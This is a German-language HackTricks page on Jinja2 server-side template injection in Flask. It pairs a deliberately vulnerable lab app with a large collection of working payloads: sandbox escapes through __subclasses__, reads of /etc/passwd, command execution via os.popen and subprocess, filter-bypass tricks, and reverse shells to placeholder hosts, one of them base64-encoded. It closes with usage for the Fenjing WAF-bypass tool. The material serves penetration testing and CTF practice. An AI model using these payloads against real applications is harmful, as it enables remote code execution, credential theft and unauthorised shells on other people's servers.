Jinja2 SSTI

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos sendest.

Labor

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Sonstiges

Debug-Anweisung

Wenn die Debug-Erweiterung aktiviert ist, steht ein debug-Tag zur Verfügung, um den aktuellen Kontext sowie die verfügbaren Filter und Tests auszugeben. Dies ist nützlich, um zu sehen, was im Template verfügbar ist, ohne einen Debugger einrichten zu müssen.

<pre>

{% debug %}







</pre>

Alle Konfigurationsvariablen ausgeben

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

Jinja Injection

Zunächst müssen Sie bei einer Jinja-Injection einen Weg finden, um aus dem Sandbox zu entkommen und den regulären Python-Ausführungsfluss wiederherzustellen. Dazu müssen Sie Objekte missbrauchen, die aus der **nicht-sandboxierten Umgebung stammen, aber von der Sandbox aus zugänglich sind.

Zugriff auf globale Objekte

Zum Beispiel kommen in dem Code render_template("hello.html", username=username, email=email) die Objekte username und email aus der nicht-sandboxierten Python-Umgebung und sind innerhalb der sandboxierten Umgebung zugänglich. Darüber hinaus gibt es andere Objekte, die immer von der sandboxierten Umgebung aus zugänglich sein werden, diese sind:

[]
''
()
dict
config
request

Wiederherstellen <class 'object'>

Dann müssen wir von diesen Objekten zur Klasse: <class 'object'> gelangen, um zu versuchen, definierte Klassen zu wiederherstellen. Das liegt daran, dass wir von diesem Objekt die __subclasses__-Methode aufrufen und auf alle Klassen aus der nicht-sandboxed Python-Umgebung zugreifen können.

Um auf diese Objektklasse zuzugreifen, müssen Sie auf ein Klassenobjekt zugreifen und dann entweder __base__, __mro__()[-1] oder .mro()[-1] aufrufen. Und dann, nachdem wir diese Objektklasse erreicht haben, rufen wir __subclasses__() auf.

Überprüfen Sie diese Beispiele:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}





# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Escaping

Nachdem wir <class 'object'> wiederhergestellt und __subclasses__ aufgerufen haben, können wir nun diese Klassen verwenden, um Dateien zu lesen und zu schreiben und Code auszuführen.

Der Aufruf von __subclasses__ hat uns die Möglichkeit gegeben, Hunderte neuer Funktionen zu zugreifen, wir werden glücklich sein, nur auf die Dateiklasse zuzugreifen, um Dateien zu lesen/schreiben oder auf eine Klasse mit Zugriff auf eine Klasse, die Befehle ausführen kann (wie os).

Remote-Datei lesen/schreiben

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Um mehr über weitere Klassen zu erfahren, die Sie zur Umgehung verwenden können, können Sie überprüfen:

Bypass Python sandboxes

Filterumgehungen

Häufige Umgehungen

Diese Umgehungen ermöglichen es uns, die Attribute der Objekte ohne Verwendung einiger Zeichen zu zugreifen. Wir haben bereits einige dieser Umgehungen in den Beispielen des vorherigen Kapitels gesehen, aber lassen Sie uns sie hier zusammenfassen:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}

• Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf ein globales Objekt zu erhalten

• Kehren Sie hierher zurück, um weitere Optionen zum Zugriff auf die Objektklasse zu erhalten

• Lesen Sie dies, um RCE ohne die Objektklasse zu erhalten

Vermeidung von HTML-Codierung

Standardmäßig kodiert Flask HTML alles innerhalb einer Vorlage aus Sicherheitsgründen:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Der safe Filter ermöglicht es uns, JavaScript und HTML in die Seite einzufügen ohne, dass es HTML kodiert wird, wie folgt:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE durch das Schreiben einer bösartigen Konfigurationsdatei.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Ohne mehrere Zeichen

Ohne {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

Jinja Injection ohne <class 'object'>

Von den globalen Objekten gibt es einen weiteren Weg, um zu RCE zu gelangen, ohne diese Klasse zu verwenden. Wenn es Ihnen gelingt, auf eine Funktion aus diesen globalen Objekten zuzugreifen, können Sie auf __globals__.__builtins__ zugreifen und von dort ist die RCE sehr einfach.

Sie können Funktionen aus den Objekten request, config und jedem anderen interessanten globalen Objekt, auf das Sie Zugriff haben, mit:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Sobald Sie einige Funktionen gefunden haben, können Sie die Built-ins mit folgendem wiederherstellen:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF bypass

Fenjing https://github.com/Marven11/Fenjing ist ein Tool, das auf CTFs spezialisiert ist, aber auch nützlich sein kann, um ungültige Parameter in einem realen Szenario zu bruteforcen. Das Tool sprüht einfach Wörter und Abfragen, um Filter zu erkennen, sucht nach Bypässen und bietet auch eine interaktive Konsole.

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Referenzen

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

• Überprüfen Sie attr trick, um hier schwarze Zeichen zu umgehen.

• https://twitter.com/SecGus/status/1198976764351066113

• https://hackmd.io/@Chivato/HyWsJ31dI

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

• Überprüfen Sie die Abonnementpläne!

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.

• Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.